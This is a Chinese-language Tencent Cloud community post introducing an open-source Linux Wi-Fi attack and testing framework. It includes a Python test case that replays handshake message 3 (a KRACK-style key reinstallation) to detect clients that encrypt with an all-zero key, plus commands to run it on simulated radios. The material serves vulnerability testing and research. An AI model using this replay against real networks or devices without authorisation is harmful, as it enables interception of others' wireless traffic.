首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Wi-Fi 框架

Wi-Fi 框架

原创
作者头像
Khan安全团队
发布2022-01-12 08:43:57
发布2022-01-12 08:43:57
8660
举报
文章被收录于专栏:Khan安全团队Khan安全团队

可用于创建模糊器、实施新攻击、创建概念验证以测试漏洞、自动化实验、实施测试套件等。

该框架的主要优点是它允许您重用 Linux 的 Wi-Fi 功能来更轻松地实施攻击和/或测试。例如,该框架可以为您连接到(受保护的)Wi-Fi 网络,并可以在测试客户端时为您广播信标。一般来说,Linux 的任何 Wi-Fi 功能都可以重用,以更快地实施攻击/测试。该框架通过在hostap用户空间守护进程之上执行测试用例来实现这一点。

Wi-Fi 守护程序和框架组件的概述。

如果您不熟悉在 Linux 上执行 Wi-Fi 实验,强烈建议您先阅读libwifi Linux 教程。当您在不需要重用 Linux 功能的情况下实施基本的 Wi-Fi 攻击时,该框架提供的优势有限,您可以考虑直接在 Scapy 中实施攻击,并可选择使用libwifi库。

例子

假设您想测试客户端是否曾经使用全零密钥加密帧。这可能发生在密钥重新安装攻击期间。通过使用该框架,您不需要重新实现接入点的所有功能,而只需要编写以下测试用例:

代码语言:javascript
复制
class ExampleKrackZerokey(Test):
	name = "example-krack-zero-key"
	kind = Test.Authenticator

	def __init__(self):
		super().__init__([
			# Replay 4-Way Handshake Message 3/4.
			Action( trigger=Trigger.Connected, action=Action.Function ),
			# Receive all frames and search for one encrypted with an all-zero key.
			Action( trigger=Trigger.NoTrigger, action=Action.Receive ),
			# When we receive such a frame, we can terminate the test.
			Action( trigger=Trigger.Received, action=Action.Terminate )
		])


	def resend(self, station):
		# Resend 4-Way Handshake Message 3/4.
		station.wpaspy_command("RESEND_M3 " + station.clientmac )


	def receive(self, station, frame):
		if frame[Dot11].addr2 != station.clientmac or not frame.haslayer(Dot11CCMP):
			return False

		# Check if CCMP-encrypted frame can be decrypted using an all-zero key
		plaintext = decrypt_ccmp(frame.getlayer(Dot11), tk=b"\x00"*16)
		if plaintext is None: return False

		# We received a valid plaintext frame!
		log(STATUS,'Client encrypted a frame with an all-zero key!', color="green")
		return True

上面的测试用例将创建一个客户端可以连接的接入点。客户端连接后,将向客户端发送新的 4 次握手中的第 3 条消息。然后,易受攻击的客户端将开始使用测试用例自动检测到的全零加密密钥。

您可以使用模拟的 Wi-Fi 无线电运行上述测试用例,如下所示:

代码语言:javascript
复制
./setup/setup-hwsim.sh 4
source setup/venv/bin/activate
./run.py wlan1 example-krack-zero-key

您可以连接到创建的接入点进行测试:

代码语言:javascript
复制
./hostap.py wlan2

通过更改网络配置,此 AP 可以轻松配置为使用 WPA2 或 WPA3 和/或可以配置为使用企业身份验证,而无需对我们编写的测试用例进行任何更改!在此示例中使用该框架的其他好处是:

  • 无需手动广播信标
  • 身份验证和关联阶段由框架处理
  • WPA2 和/或 WPA3 握手由框架处理
  • 注入的数据包会被 Linux 内核自动重传
  • AP发送的数据包将被确认
  • 客户端的休眠模式由内核自动处理

https://github.com/domienschepers/wifi-framework#usage

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 例子
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档